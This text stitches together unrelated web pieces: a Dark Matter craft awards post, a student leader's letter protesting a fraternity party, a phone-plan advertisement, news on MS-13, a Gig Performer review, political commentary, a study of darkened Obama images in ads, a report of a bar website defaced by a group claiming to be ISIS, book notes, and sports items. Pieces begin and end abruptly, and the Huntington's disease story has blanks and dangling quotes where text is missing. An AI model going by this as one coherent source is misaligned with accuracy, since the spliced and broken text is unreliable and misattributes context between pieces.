WINNER: Episode 308, “Hot Chocolate”. There was the shootout, the Android taking out SIX, but top of the list was the battle to end all battles: TWO vs. Ryo in hand to hand combat. In the script, I simply wrote: “They fight. It’s glorious.” And then John did the rest.
BEST SPECIAL EFFECTS
Lights! Camera! Explosion! SPFX Coordinator Dylan Hankinson really let the shocks and sparks fly this season, but my pick for best special effects sequence…
WINNER: Episode 302, “It Doesn’t Have To Be Like This”. TWO, THREE and SIX make their grand entrance, literally blowing away the station security.
BEST PRODUCTION DESIGN
Production Designer Ian Brock and the art department continued their terrific. collaboration with our construction department to craft some truly phenomenal sets on the year. I loved the munitions facility and Traugott Garrison from Episode 303 (“Welcome to the Revolution”) and the dank, dark and foreboding industrial facility of Episode 312 (“The Dwarf Star Conspiracy”), but my selection for best production design goes to…
WINNER: Episode 302, “It Doesn’t Have To Be Like This”. The Ishida research station was as sleek and clean as Baines’ work room was claustrophobic and chaotic.
BEST SET DEC
Thank you to Set Decorator Andy Loew and his team. It’s the details that make a set come alive, whether it’s the textures of the walls or the dressing that gives them that lived in look, from Sarah’s virtual garden to the utilitarian accoutrements of Episode 303’s (“Welcome To The Revolution”) munition facility. Still, my vote goes to…
WINNER: Episode 312, “My Final Gift To You”. The royal palace never looked so good.
BEST GRAPHICS
I’m a big fan of 1st Assistant Art Director/Graphics Roxanne Borris, and her work on Dark Matter‘s third season simply reinforced the respect and admiration I have for her and her craft. Logos, ID’s, emblems and labels – they all come from her. Her creations are in subtle background display in every episode and occasionally, front and center, but I think she did some of her best work in…
WINNER: Episode 303, “Welcome To The Revolution”. Everything from the Traugott emblems to signage to those scrolling video warnings.
BEST MOTION GRAPHICS/PLAYBACK
1st Assistant Art Director/Motion Graphics Sumeet Vats had some big shoes to fill with the departure of our beloved Kelly Diamond, but he availed himself wonderfully with an assist from 2nd Assistant Art Director Victor Mare. People often overlook graphic and playback’s contribution to the storytelling process, but those onscreen elements do everything from offer a narrative shorthand to an emphatic visual emphasis to the proceedings. Lots of eye candy in season 3, but my favorites…
WINNER: Episode 302, “It Doesn’t Have To Be Like This”, for those gorgeous Zaironesque graphics.
BEST LIGHTING
Director of Photography Craig Wright was the consistent calm in the eye of the various storms, overseeing and ensuring every shot of every scene of every episode looked it’s very best. Notable examples included Episode 303 (“Welcome To The Revolution”), Episode 310 (“Built, Not Born”), and my pick for season best…
WINNER: Episode 311, “The Dwarf Star Conspiracy”. Craig and his team infused every scene with an underlying sense of impending doom. They always made my job so much easier.
BEST VISUAL EFFECTS
VFX Supervisor Lawren Bancroft-Wilson continued to work his magic, ensuring that our little show always looked it’s best, expanding our library of beautiful Raza shots and creating stunning new visuals for Dark Matter‘s third season. A couple of instances that readily come to mind are the security drone and space sequences of Episode 301 (“Nowhere To Go”) and the flowing aliens of Episode 311 (“The Dwarf Star Conspiracy”). Still as great as those episodes were, there was no beating…
WINNER: Episode 313, “Nowhere To Go”. Fans were clamoring for a colossal space battle and we gave them one.
And that’s it for the technical awards. Tomorrow, we give it up to the onscreen talent as we recognize the supporting performances that made Dark Matter’s third season so great!
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My name is Ja’han Jones and I serve as the President of the African American Men of Arizona State University. Admittedly, I write this letter with regret, for surely, a man hopes to come in contact with another man only for purposes of solidarity, unity, and love. Having been made aware, however, of your most recent egregious act of denigration toward the African American community, I find myself in your mailbox—on your computer screen, perhaps—for purposes much less fortunate. I write, now, with no intent to reprimand, or defame, or scold, but to ask with the utmost sincerity: Why?
On the campus of Arizona State University exists an abundance of student-led organizations, each—with every act—etching its own legacy into the very concrete upon which we walk. The legacy of the African American Men of Arizona State University is one from which my constituents and I derive an incomparable pride. Having been birthed almost a decade ago by some of the most virtuous and self-aware beings to set foot on ASU’s campus, the organization continues its pursuit of improved retention rates for African American males and, more largely, the cultural consciousness of ASU’s community of African American men and women. This, again, is our legacy.
I am concerned, however, that your legacy is enduring an almost-irreparable damage, and further, that you’ve demonstrated a willingness to endure this damage for meager laughs and degradation at the expense of the African American community. I am concerned that your organization’s self-professed mission to “aid men in their mental, moral, and social development for life” eludes you with such heinous acts as your most recent “MLK Black Party”. I am concerned that your fraternal structure is transforming into an echo chamber for racism. And further, I am concerned that not a man stood among you brothers with the foresight to predict the shame such an event would heap upon your organization. Again, I must ask: “Why?” Why would a man degrade himself to such lows—degrade his organization to such lows—for such paltry praise. Perhaps, I—we of the AAMASU community, of the African American community, of the national community, and of the global community—may never know.
To be “fraternal” is to be of, or akin to, brotherhood. To be brothers, in the context of organizational fraternity, ought to be more a celebration of manhood than a celebration of maleness. To celebrate the beauty of manhood is to celebrate the admirable character traits so necessary for a man to fulfill his familial and communal responsibilities. To celebrate maleness is to parade oneself as a caricature of manhood. Much of my work with the African American Men of ASU is concerned with clarifying this difference. In fact, at their foundations, much of the work of ASU’s numerous other fraternities is concerned with clarifying this difference. I can only hope that you, too, will one day make this your goal.
Lastly, it has come to my attention that my organization and your organization share the third floor of the Memorial Union as home. If ever you wish to speak with me in person, I’d welcome the opportunity.
Sincerely,
Ja’han Jones
President, African American Men of ASU
Stop Over Paying for your Cell Phone Bill!
If you are one of those people that is paying over $73/Month for your cell phone bill, then you are doing it wrong!
$73/Month is the national average cell phone bill for Americans. And if you are paying more than that, you are definitely overpaying!
Here is a screenshot for the cheapest cellphone plans/prices from Verizon and AT&T taken from MyRatePlan.com.
Look! Those plans are above $73/mo even before taxes?! Yes, you’re right! How can that be, you ask? Well, the national average is lower because there are some smart people that are only paying $45 for their cellphone bill.
And today we want to tell you about how you too can become a “smart” person and stop overpaying for your cellphone bill.
More than 25 million users are saving money on their cell phone bill and hopefully today you’ll join that fast growing user base.
The company that you all should know about, is called Straight Talk. They are the heroes that “cut your cell phone bill in half™”
Straight Talk has an Unlimited* Talk, Text, and Data plan for $45/Month. Absurd right? However, note the asterisk next to the unlimited. That’s because it’s true, however you might not like the details in fine print . You truly do get unlimited Talk and Text, but the Data part is where the caveat is hidden.
You get the first 5 gigabytes (GB) of data at high speeds, that means LTE, 4G, or whatever the current highest speed on your network. After the first 5 gigabytes, your speeds are throttle down to 2G which is really REALLY slow.
However this shouldn’t scare you. Because the average data user, uses less than 2 gigabytes of data per month!
That being said, if you tend to use more than 5 gigabytes/month, then we do not recommend you going with Straight Talk, however if you fall under the 5 gigabyte/month category. You should totally check out Straight Talk!
BTW if you do decide to switch. You can keep your current cell phone number, and the network you’re on. The only thing that will change is your money. You’ll have more it if!
Visit Straight Talk Website Read FAQs
More Info on Straight Talk:
Q: What is Straight Talk?
Straight Talk is a network reseller. Which means they buy wholesale data, minutes, and messages from retailers such as Verizon, AT&T, Sprint, and T-Mobile and resell it to customers.
Q: How can they sell it for so cheap?
A: Large companies such as Verizon and AT&T spend a lot of money on customer acquisition, marketing, and customer support. They have to cover all that overhead by increase phone bills.
Straight talk however doesn’t have a large marketing budgets and customer support costs, they rely on word of mouth advertising, because who doesn’t like saving?!
So they are able to resell the rates are very low costs to you.
Q: Is their network service any good?
A: Same as you current network! How does that happen? Verizon, AT&T, T-Mobile, and Sprint sell their services to Straight Talk, but the service provider still ends up being the large network! When you purchase a plan from Straight Talk they ask you what type of service/phone you want, and you choose you network!
Q: How is the customer service?
A: Not so good. But you are saving almost 50% on your bill! If you are having problems best is to find and troubleshoot online. There’s ton of info online that can help you, if not chat with a Straight Talk rep, and if that will not help try calling.
Q: If I go over 5 gigabytes how slow is it?
A: Like turtle slow. Seriously, do NOT go over the 5 gigabytes. If there’s a chance you might be going over 5 gigabytes of data we do not recommend you going with straight talk.
If you have any more questions feel free to message us! We use Straight Talk ourselves so we know what we are talking about and would love to help answer any of your questions!
Visit Straight Talk Website Read FAQs
Found this article useful? Please leave a comment below!
Want us to write more tips on how you can save money? Tell us what topic you’d want next by commenting below!
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“There are all sorts of reasons for taking the lane. Often, a cyclist might ride centrally to keep at least a car door’s width from parked vehicles. It might be because there is a central road island coming up and the rider wants to make sure they’re not suddenly pushed into the kerb by an overtaking car. It could be to pass the message to those behind: this is a narrow (or twisty) road, there’s no space to squeeze past, you’re going to have to overtake me as you would a car.
It’s pretty simple stuff, but it’s amazing how many drivers cannot grasp it. … I can just about forgive some drivers for not knowing the rules and reasons for cyclists taking the lane. … What I can’t forgive are the dangerous maneouvres that sometimes follow. Squeezing past a cyclist carries a clear message: not only do I believe you are in the wrong, but I believe my righteousness is justification for putting your physical wellbeing in danger. I believe my right to reach the next red traffic light about five seconds earlier than I would have otherwise trumps the rights of your loved ones to welcome you home tonight in one piece. It sounds dramatic, but that’s what it amounts to, and it appalls me.”
MS-13 is largely composed of El Salvadorian and Central American immigrants; some of them are undocumented. It was born in the 1980s in Los Angeles when hundreds of thousands of people fled to the United States to escape civil war in El Salvador. To find a sense of community in their new home and protect themselves against the Mexican street gangs that already dominated the city’s barrios, they formed what was then called the Mara Salvatrucha Stoners. It began as a social group but progressively grew more violent. Beginning in the 1990s, deportations extended the gang’s influence to El Salvador and its neighbours, which now have some of the highest murder rates in the world—in part because MS-13 operates there. In certain parts of America, the gang has recently become more of a threat again. Its members have killed 17 people in Suffolk County alone since January 2016, often with machetes and wooden clubs.
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It is not entirely clear why the violence is escalating again. But Mr Trump’s tough talk about the gang might make matters worse in two ways. Unlike drug cartels, which strive to operate in the shadows, criminal street gangs often relish publicity. MS-13, whose members often use knives and machetes instead of guns to kill rivals, wants to be perceived as brutal and brazen. By projecting that image of the gang himself, Mr Trump may be inadvertently empowering MS-13 and helping them recruit. To make matters worse, his harsh anti-immigration rhetoric seems to be having a chilling effect on crime reporting in immigrant communities. This matters because MS-13 usually preys on the vulnerable, who are often immigrants. To get at the gang, police need their cooperation: during a recent bust of 21 MS-13 members in Los Angeles, the police chief was quick to acknowledge that the investigation was greatly aided by witnesses who were illegal immigrants.
Organization
Gig Performer (GP for short) is a cross-platform (Mac OS 10.9 or later; Windows 64-bit with OpenGL graphics card) host program that supports VST plug-ins on both platforms as well as AU on Macs. This is an immediate convenience if you want to stay Mac but migrate from MainStage. If you’ve bought all your plug-ins for Pro Tools, AAX support is said to be forthcoming.
Central to GP is the Rackspace. If your gig needs are simple—say, piano, organ, and pads—you could devote a single Rackspace to your entire set. If they’re more varied and multi-timbral, you’d use one Rackspace per song. Stepping through Rackspaces is glitch-free even if the next tune in your set list uses completely different plug-ins, and the recent addition of “patch persist” (as of version 1.2) means that sustained notes won’t cut off when you change Rackspaces. GP makes this work across all plug-ins, which is pretty slick.
“Variations” on Rackspaces use the same plug-ins with different entry settings (e.g., “scenes” by a more common name). A GP project file containing one or more Rackspaces is called, fittingly, a Gig. A Rackspace has two main views: Panel and Connections. The Connections view is where you’ll start setting up your virtual keyboard rig, so let’s go there next.
The Connections View
GP’s developers saw the mixer-like sends and buses of other host software as non-optimal for keyboard players, and their alternative is a sort of “virtual modular” canvas where you cable together instruments, audio effects, and MIDI and audio I/O in any way you like. Users of Plogue Bidule will immediately feel at home, and comparisons to Logic’s Environment layer suggest themselves, but GP’s interface is easier on the eyes and, for my money, more intuitive.
The umbrella object here is a Block, which is a color-coded, um, block that can represent a plug-in, your MIDI controllers, your audio interfaces, or internal utilities such as a fader/panner and a MIDI filter. Little semicircles around the Blocks’ edges are patch points—orange for MIDI and blue for audio—and you simply drag from one to the other to make a connection. In an initially blank project, Blocks for any audio and MIDI devices I had connected, whether USB class-compliant or using drivers I had installed prior, just showed up sporting the correct number of inputs and outputs.
Right-clicking brings up a menu of all your plug-ins. Select one, and a new Block appears. Double-click on that Block, and you’ll either get the full plug-in interface or, if it’s an I/O or internal Block, a window with all relevant settings. Of course, any changes you make at this inside level, such as which preset a given plug-in is playing, are saved as part of the current Rackspace.
Fig. 1. In this screenshot, I set up a quick bass/EP split between Roli Equator and Waves Electric 200 in the Connections view.
I had some early head-scratching moments when trying to set up keyboard splits and layers using multiple plug-ins. Then the lightbulb went on: For a split, just create a separate MIDI-in Block for each zone. You can have as many as you need even for one hardware device. Open it up, set the key range, transpose/octave shift, and channels as desired, then patch the MIDI-in to the Block of the plug-in you want to play in that zone (see Figure 1). To make a split within a single multi-timbral plug-in (e.g. Omnisphere, Kontakt Player), patch in multiple MIDI-in Blocks set to different channels. A straight layer is even simpler: Just patch a single MIDI-in Block to multiple plug-ins.
In both the MIDI and audio domains, there are virtually no restrictions on patching a single source to multiple destinations and vice-versa. This accounts for a huge part of GP’s flexibility. Under the hood, a great deal of busing and routing management is going on, but GP makes it all so visual that the steepest part of your learning curve will likely be unlearning how other software may have conditioned you to think.
The Panel View
All of the above is pertinent to building your setups. The Panel view is what you’ll be looking at when actually playing. Here, you can create “rackmount” panels (mimicking hardware modules of 1U to 4U in height), then drag in Widgets such as knobs, sliders, organ drawbars, and switches to create a custom user interface that operates all of the plug-in parameters you want to tweak in live performance while keeping the set-it-and-forget-it majority out of sight. In most MainStage use cases, the analogous Performance pane is a graphical mirror of your hardware rig. Here, it’s, well, anything you want.
For starters, there’s no one-to-one correspondence between rack panels and underlying plug-ins. This is initially counter-intuitive but quickly proves useful. As a matter of housekeeping, you could follow a “one panel per plug-in” rule as you configure your Widgets. You could just as easily build a single panel with knobs and sliders mapped to parameters in different plug-ins, perhaps on a category basis: One rack panel might control all the filters in the current Rackspace, the next, all the envelopes. It’s up to you.
Click on a Widget while in Edit mode, and you’ll see inspector panes for its properties (range scaling, polarity, etc.) and for which plug-in and parameter it controls. A Learn mode allows one-click association between the Widget and the target parameter in the plug-in’s interface. This worked reliably across every AU and VST plug I threw at it. There’s a separate Learn function for mapping Widgets to hardware controls.
Drag-select multiple Widgets, and up pops a menu of appearance and layout tools such as colors, custom captions, and object alignment. You can’t yet save multiple widgets as a template, but you could copy and paste them to an otherwise inactive rack panel for later copy-pasting back into a Rackspace. I did exactly this so that I’d have to create a bank of nine organ drawbars only once.
As in the Connections view, there’s a little getting-the-hang-of-it, but only a little, and once you do, you positively fly at crafting gig-ready Rack-spaces. I do have a couple of wants, though. First, I couldn’t find any way to make a single Widget control more than one parameter at a time, either within one plug-in or across several. This sort of macro capability seems elemental for performance gestures at least some musicians might make, for example, sweeping the filter cutoff on all your soft synths. (Workaround: MIDI-learn multiple Widgets to the same hardware control.) I suggest this as priority one for the next update.
Second, when the Panel view is not in Edit mode, there’s no quick click to bring up a plug-in’s full interface. I understand that this is a by-product of the Panel view not being about individual plug-ins but rather how you’re using them collectively, but I can see being in the heat of battle and wanting to adjust something I hadn’t thought to create a Widget for.
Performance
Deskew claims that Gig Performer conserves CPU cycles compared to MainStage running the same complement of plug-ins, and some users on the Keyboard Corner forum (forums.musicplayer.com) corroborated this. I’m happy to report that my tests did as well. My late 2012 MacBook Pro (2.3GHz Core i7, 8GB RAM, 500GB internal SSD upgrade from Other World, external Thunderbolt SSD for sample libraries) not only metered less CPU usage, but physically felt less warm when shaking a cocktail of Roli Equator, u-he Diva, Waves Electric 200, Native Instruments Monark, and the C. Bechstein grand piano library running in Kontakt.
Open Sound Control (OSC) has gained so much popularity that you no longer have to be a friend of Peter Kirn to use it, so it’s nice that GP offers full support for adding custom touchscreen controllers from, say, an iPad running the Lemur app.
The real killer app, though, may be that you can run multiple instances—not just of plug-ins, but of Gig Performer itself—on the same computer. Applications for this include managing the top and bottom keyboards in a two-tier bar-band rig, separately (as many of us do with hardware synths), or having multi-bandmate access: As you play your virtual keyboard rig, your guitarist could run through amp modeling plug-ins, and your worlds would exist in separate spaces without any one GP setup getting too complicated. Just keep the laptop at your station so you can turn the guitarist down.
Conclusions
I haven’t encountered a live-oriented host program that combines radical open-endedness with relative ease of use as effectively as Gig Performer does. It’s more flexible than MainStage where it counts, given the multiformat support and the no-worries routing free-for-all in the Connections view. Cantabile (Windows only) and Live Professor (Mac/Windows) have certain indica of more mature products, such as integrated playback of audio cues. But for keyboard players who gig across a variety of bands and styles, Gig Performer’s thinking hits a singular sweet spot. We might even dare say it “thinks different.”
Snap Judgment
PROS Cross-platform. Hosts both VST and AU plug-ins. Quick MIDI learn. OSC support. Visual, object-oriented approach is easy to learn and almost limitlessly flexible for creating custom multi-plugin setups.
Cons No quick way to open full plug-in windows from main panel view. Can’t create macros (e.g. single panel knobs that control multiple parameters).
Bottom Line
A uniquely powerful, easy-to-use, and fun anvil on which to pound your studio plug-ins into your dream stage rig.
$249 | discounted to $124 at press time
But Republican criticism was not universal.
This morning on C-Span’s Washington Journal, Rep. Devin Nunes (R-CA) justified the disturbing racist and homophobic epitaphs that angry tea baggers hurled yesterday at Rep. John Lewis (D-GA), Rep. Barney Frank (D-MA), and other House Democrats. Nunes insisted that everyone has a right to “smear” whoever they want and that the tea baggers’ behavior was understandable given the “crazy totalitarian tactics” that he alleges Democrats are engaged in.
When the host noted that protestors verbally attacked his own colleagues, Nunes responded, “Yeah, well I think that when you use totalitarian tactics, people, you know, begin to act crazy.” (He went on to say use of the “n” word is “inappropriate.” How gracious of him.)
A few things. First, Nunes is right that in a free country, odious racists are allowed to say offensive things, even to elected officials. The point, though, isn’t that these Tea Party activists did something illegal — although, in the case of one activist spitting on a congressman, this is a crime — the point is that they did something morally outrageous. Decent people, regardless of politics, should have no qualms about condemning such ugliness.
Second, when an elected majority tries to pass legislation that they promised voters they’d pursue, this is not an example of “totalitarian tactics.” I realize Devin Nunes isn’t the sharpest tool in the shed, but if he sees the elected Democratic majority acting in a dictatorial fashion, he’s lost his mind.
And third, people of strong character and sound values don’t try to rationalize bigotry. For Nunes, there seems to be some kind of reflex at play — some Tea Party thugs used some deeply offensive language, and in one case even spat on a member of Congress, so it must be Democrats’ fault.
This still image is taken from a television advertisement aired by John McCain's presidential campaign in 2008 connecting Barack Obama with Bill Ayers.
(Courtesy of Solomon Messing of the Pew Research Center, John McCain for President)
WASHINGTON -- A new study shows that negative ads targeting President Obama in 2008 depicted him with very dark skin, and that these images would have appealed to some viewers' racial biases.
The finding reinforces charges that some Republican politicians seek to win votes by implying support for racist views and ethnic hierarchies, without voicing those prejudices explicitly. The purported tactic is often called "dog-whistle politics" -- just as only canines can hear a dog whistle, only prejudiced voters are aware of the racist connotations of a politician's statement, according to the theory.
Video: When John McCain's campaign aired spots that connected Obama with alleged criminal activity by liberal groups, the producers almost always used images that made Obama's skin appear very dark.
That debate has been prominent in the 2016 campaign, primarily targeting Donald Trump, but it has existed in almost every recent presidential election. To hear their opponents tell it, when Republican politicians say they oppose a generous welfare system, they really mean black beneficiaries are lazy. If they endorse strict immigration enforcement, they really mean that Latinos are criminals, critics say.
A study published online this month in Public Opinion Quarterly provides new evidence that one GOP campaign -- intentionally or not -- has aired advertisements that exacerbate viewers' racial biases.
Analyzing 126 advertisements from the presidential campaign in 2008, the authors first digitally measured the darkness of the two nominees' skin in each spot, then sorted the ads into categories based on themes. President Barack Obama and his opponent, Sen. John McCain, R-Ariz., looked very different in various advertisements depending on how the footage was edited and produced.
That was particularly the case in negative advertisements, in which each campaign manipulated the images of its opponent to shadow or wash out his face for dramatic effect.
Interestingly, though, when McCain's campaign aired spots that connected Obama with alleged criminal activity by liberal groups, the producers almost always used images that made Obama's skin appear very dark.
Eighty-six percent of these ads contained an image of the president in which the his skin tone was in the darkest quartile of all ads studied.
Likewise, as the election approached, images of Obama in spots aired by McCain's campaign became gradually darker.
Images of McCain campaign's own candidate, meanwhile, became somewhat lighter.
Whether this was a conscious strategy on the part of McCain's campaign is impossible to say.The Washington Post contacted the Republican National Committee and McCain's Senate office. They did not immediately respond to requests for comment.
Yet a large body of evidence shows that racial prejudices are stronger against African-Americans with darker skin. For example, jurors are more likely to sentence to death black defendants with stereotypically African facial features, even when accounting for the severity of the crime.
The authors of this study -- Solomon Messing of the Pew Research Center; Julia Mabon, a software engineer who works for LinkedIn; and Ethan Plaut, a postdoctoral fellow at Stanford University -- confirmed that darker images of Obama did indeed affect the way viewers perceived him.
The researchers showed subjects manipulated images of Obama and then asked them to play a game resembling a crossword puzzle. The subjects had to fill in blanks, such as "C R _ _ _." One respondent might write "C R O W D," while another might write "C R I M E." Given the letters "L A _ _," a respondent could write "L A Z Y."
Those who saw the image of Obama with light skin gave that word or another anti-black stereotype as a response 33 percent of the time. Among those who saw the darkened image, the figure was 45 percent, showing that they were more likely to have those negative stereotypes on their minds after seeing the photograph.
Author Information:
The website for Backbar, the Union Square cocktail outpost only slightly harder to find than a terrorist cell, was hacked earlier this afternoon by a group purporting to be ISIS. While Backbar co-owner Sam Treadway confirmed the site was hacked, it’s unclear whether the attack was done by the actual international terrorist organization or just some guy.
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“[T]his is in fact a real hack…we’re trying to fix the problem as quickly and quietly as possible…but I also find it hilarious at the same time!’’ wrote Treadway on Facebook Saturday afternoon.
“Hacked by Islamic State’’ reads a graphic on top of the bar’s site, along with an image of the ISIS flag. Making matters worse, a song auto-plays when the site is opened, which everyone can agree is a brutal act of restaurant web design terrorism.
The bar became aware of the hack around 3:15 p.m. today, bartender Kyle Powell explained over the phone. He said the owner, who does the IT for the bar, was working on resolving the issue.
“All I know is it’s graffiti, and we’re trying to get it down as soon as possible,’’ he said, when asked if he thought it was actually ISIS that was responsible.
The drink of the day, incidentally, is made with Tennessee whiskey, maraschino, and lemon, he added.
The websites for a couple of restaurants in Cincinnati were similarly hacked today, apparently by the same group.
James Sallis, Willnot (Bloomsbury, 2016)
Readers will catch glimpses of a large cast of characters as they relate to Dr. Lamar Hale, the central figure of the book and of the town of Willnot. Bodies are discovered, buried so long ago that identification is impossible—and so is a solution. Woven throughout the narrative are reminiscences of people, books, philosophical musings, and more, jumbled together in a stream of consciousness that is a little Zen but witty, colorful, and smart, all contained in a compact little package that you will wish went on a lot longer.
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Donald E. Westlake, The Hot Rock (Simon & Schuster, 1970)
Westlake is the comic mystery writer against whom all others are measured—and usually found wanting. This book introduces John Dortmunder, a brilliant burglar whose perfect plans seem always to go wrong through no fault of his. He and his gang are hired to steal a priceless, sacred jewel residing in the Brooklyn Museum. They succeed until a little glitch occurs, forcing them to steal it a second time. Then a third. And they have to break into a prison. William Goldman wrote a good screenplay for the Robert Redford movie.
Daphne Du Maurier, Rebecca (1938)
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Arguably the greatest romantic suspense novel ever written, Rebecca is set in a Cornwall mansion where the plain, gentle wife of the widowed Maxim de Winter is subjected to his troubled coldness and the open hostility of Mrs. Danvers, the grim housekeeper who is still devoted to the dead mistress of the house. The tortured young woman, always unnamed, endures countless humiliations as she tries to win her husband’s love while unraveling the secret of Rebecca’s death. The Hitchcock film is one of his masterpieces.
Truman Capote, In Cold Blood (Random House, 1966)
Capote famously created a new genre with this book, described as “faction” or “a true novel.” It tells the true story of the brutal murder of four members of the Clutter family, and the two killers who blasted loaded shotguns into their faces from a few inches away. There appeared to be no motive for the crimes. Capote brings each of these six people into focus as individuals. It is too accomplished a work of art, and I regret ever having read it, as the victims and their terrible fates haunted me for months after I read it. Be warned.
Norman Lock, The Port-Wine Stain (Bellevue Literary Press, 2016)
"We can't express how grateful we are," Robert Edward said Tuesday on Fox 2, responding to more than $10,000 in donations that will help provide a "
" and toy store shopping spree for his daughter, who is dying of Huntingon's Disease. "This is just amazing."
Kathleen's story went viral last week after neighbor Jennifer Petkov admitted in
she posted an image to Facebook depicting Kathleen's face set above crossbones and another of her mother, who died of the same degenerative brain disease, in the arms of the grim reaper.
Why?
"Because it burns their asses," Petkov said. "Because it burns Rebecca Rose's ass."
Petkov and her husband
after they received death threats, had their house egged and started receiving unwanted pizza deliveries.
Rose, who is Kathleen's grandmother, joined Robert Edward on Fox 2 Monday to discuss the apology, the history of the neighborhood dispute and the public reaction. Check out the full video in the player above or read a few highlights below.
On the background
On the apology
On recent contact with Petkov
Kathleen, who the family has tried to keep out of the media spotlight as much as possible, on Thursday will travel to Ann Arbor by limo, where
owner Hans Masing will host a red-carpet shopping spree. From there, she'll head to C.S. Mott Children's Hospital where she will
to other sick children.
Separately, supporters are planning a rally for Kathleen on Oct. 23 at Hass Park in Trenton.
The development would sit on the site of the old Bally's riverboat casino landing in eastern New Orleans.
The Orleans Parish Non-Flood Protection Asset Management Board, which owns the land, is negotiating lease terms with Studio Network-Lakefront LLC, a company formed by Tipitina's owner Roland von Kurnatowski and his business partner, Dr. Eric George, a prominent New Orleans orthopedic surgeon.
It's the same duo that bought the Orpheum Theater last year for $1.5 million, vowing to invest another $13 million and return it to its former glory. A string of previous owners failed to put the historic building to rights, but the new owners have renovations well underway, and the Louisiana Philharmonic Orchestra has inked a deal to return to the theater, which is scheduled to open later this year.
Studio Network's proposal for the lakefront, dubbed Tipitina's Festival Park, would include:
An outdoor amphitheater with a 5,000 capacity.
A lazy river and splash park.
Water slides and zip lines.
A two-story, covered boardwalk with shops.
The conversion of the old riverboat terminal into an open-air market.
The site sits just east of the Lakefront Airport complex and the South Shore Harbor, which are also owned by the authority. The property has languished, vacant and largely unused, since Bally's ceased operations in the wake of Hurricane Katrina in 2005.
Von Kurnatowski said that he has not yet begun to seek out financing for the project.
"This is still early days," he said. "The first step is coming to an agreement on the lease."
The Tipitina's proposal, if realized, would be a godsend for the surrounding area and the Management Authority, said Greg Ernst, the board's chairman. The lease would be the largest since it was set up in 2010.
"I think everyone is just really excited, when you think about the type of impact a development like this could have on the area around there," Ernst said. "It looks wonderful."
Any development would be a step up for the site. When Katrina gutted the riverboat terminal and left the property in shambles, Bally's terminated its lease and left the land in the hands of the governor's office, which took over management of the Orleans Levee Board's vast real-estate holdings in 2006.
When those properties were returned to local control with the 2010 creation of the authority, the Bally's parcel was just one in a long list of battered assets that the newly-created entity, which lacks tax-funding, was incapable of repairing and returning to commerce on its own.
Last year, the authority decided to let the private sector have a go, issuing a request for development proposals.
Studio Network's proposal was the only submittal.
The authority voted in November to enter into lease negotiations with the company. Those negotiations are in their early stages, and both sides stressed that many details remain to be hammered out, but they expressed cautious optimism that they would be able to come to terms.
Studio Network's bid includes a hypothetical rent of $5,000 per month during the project's construction, with rent rising incrementally for three years, after which the company would pay $14,000 per month plus 1.15 percent of gross revenue, though those terms are non binding. The actual deal, if inked, could vary significantly.
To put that into perspective, the authority earns only about $43,000 per month from the entire South Shore Harbor, a marina with slips for 479 boats, according to the authority's budget.
The authority might never have gotten a response if von Kurnatowski weren't an avid pilot, giving him cause to drive past the property on a regular basis on his way to Lakefront Airport.
"I just thought it was such a shame that an asset like that was sitting unused," said von Kurnatowski. He thought about the memories he'd made as a kid at Pontchartrain Beach before it closed and wondered if the old Bally's site could be transformed into a place where future generations could make memories of their own.
Eventually, he called the authority's offices to ask about the property and found out about the request for development proposals. Seeing his chance, von Kurnatowski came up with the idea for the Festival Park and hired architects to draw up concept plans.
Best known as the owner of Tipitina's and his involvement in the Tipitina's Foundation, a charity focused on developing and preserving Louisiana's musical heritage, von Kurnatowski has never been involved in such an ambitious development project.
He does have some experience that could help him if the project moves forward.
Von Kurnatowski has deep ties to the New Orleans music and entertainment world, which he can leverage to attract acts and market shows at the outdoor concert venue, the project's anchor. Von Kurnatowski also has a track record of success in the world of real estate as the head of Fountainbleu Management, which owns and manages more than two dozen apartment complexes across five sates. He has also redeveloped a trio of historic properties in downtown Shreveport.
Von Kurnatowski said that the project remain's "conceptual" at this point, so it would be premature to discuss the particulars of the business model and its potential revenue streams. However, he said, he's serious about the project and has every intention of following through if the lease can be worked out.
"This is a community based resource and asset that is underutilized and that's a shame," he said. "It should be brought along and nurtured. If we can do it we are going to do it."
Michigan State coach Mark Dantonio addresses the media during his national signing day press conference at Spartan Stadium in East Lansing, Wednesday February 4, 2015.
(Mike Mulholland | MLive.com)
DETROIT -- Michigan State coach Mark Dantonio has a class of new recruits arriving on campus this month and a new class of recruits to assemble for the class of 2016. But on Tuesday, he Dantonio across the country to go see a recruit who has already signed with the Spartans but who won't be on campus for more than two years. "I really wanted to go out to see Mufi Hunt," Dantonio said on Thursday at an event to promote his
Hunt, a three-star defensive end from Taylorsville, Utah, signed with the Spartans on signing day in February. But instead of coming to East Lansing with the rest of his class this month, Hunt will soon head to Washington D.C. for the start of his two-year Mormon mission this summer. The Spartans took Hunt's signature in February, but he will officially be part of the class of 2017, and Michigan State is willing to wait. "I think it's something that he's doing that demonstrates his faith and demonstrates who he is as a person, he's going to grow from that experience," Dantonio said. "I really won't see him for two years, so I really wanted to go out and just spend time with him and his family." Dantonio said he attended a celebration at Hunt's church in Utah with 50 of his family members on Tuesday, an experience he called "very moving." Hunt posted a photo on Twitter,
This weekend, Dantonio said Hunt will have a graduation party with 1,000 people in attendance, before he leaves on his mission. Once Hunt arrives in Washington, Dantonio said the two will be limited to emails once per week until Hunt makes his way to East Lansing two years from now.
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Mahela Jayawardene scored more than 11,000 Test runs and made over 12,000 ODI runs in his career. © AFP
How would you sum up Sri Lanka's World Cup 2015 performance? Fans and former players have been critical of everything from fielding to Sri Lanka's bowlers to blaming selections, did the right combination take the field? In hindsight, what should have been done differently?
I don't think there was a huge amount we could have done differently, to be honest. That does not mean that there were certain areas where we could have performed better. We had a plan and we were working towards executing it. Unfortunately we were hampered by several injuries, some of which were accidents, and we had to change a number of combinations. Our batting was quite good, but fielding was one area where we were sloppy and should have performed better. With regards to our quarter-final, I think we just had a bad day at the office.
You had previously stated that you were keen on opening the batting in ODIs, and you must have surely been looking forward to the opportunity to open in your final World Cup appearance? How much was that a disappointment?
I had stated my desire to the team at the outset, but I also understood the team's need to have someone consolidate in the middle, and that was where they felt I would add the most value to the plans. I do not have any regrets with the role I was required to play, and I tried to fulfil this to the best of my ability.
What's your view of the number of opening combinations Sri Lanka tried out at the World Cup and in the months leading up to the tournament? Not having a stable opening pair, how much did that hurt Sri Lanka at the World Cup?
This was one of the areas of the batting that we should have tightened up and decided on much earlier. We should have found someone to partner with [Tillakaratne] Dilshan earlier on so that there was more consistency in the opening pairing, but this is a lesson we will hopefully learn from.
Mahela Jayawardene bid farewell to international cricket at the end of the 2015 World Cup. © AFP
SLC has said you will be assisting them with revamping domestic cricket, what is the scope of your involvement? What changes can we expect to see?
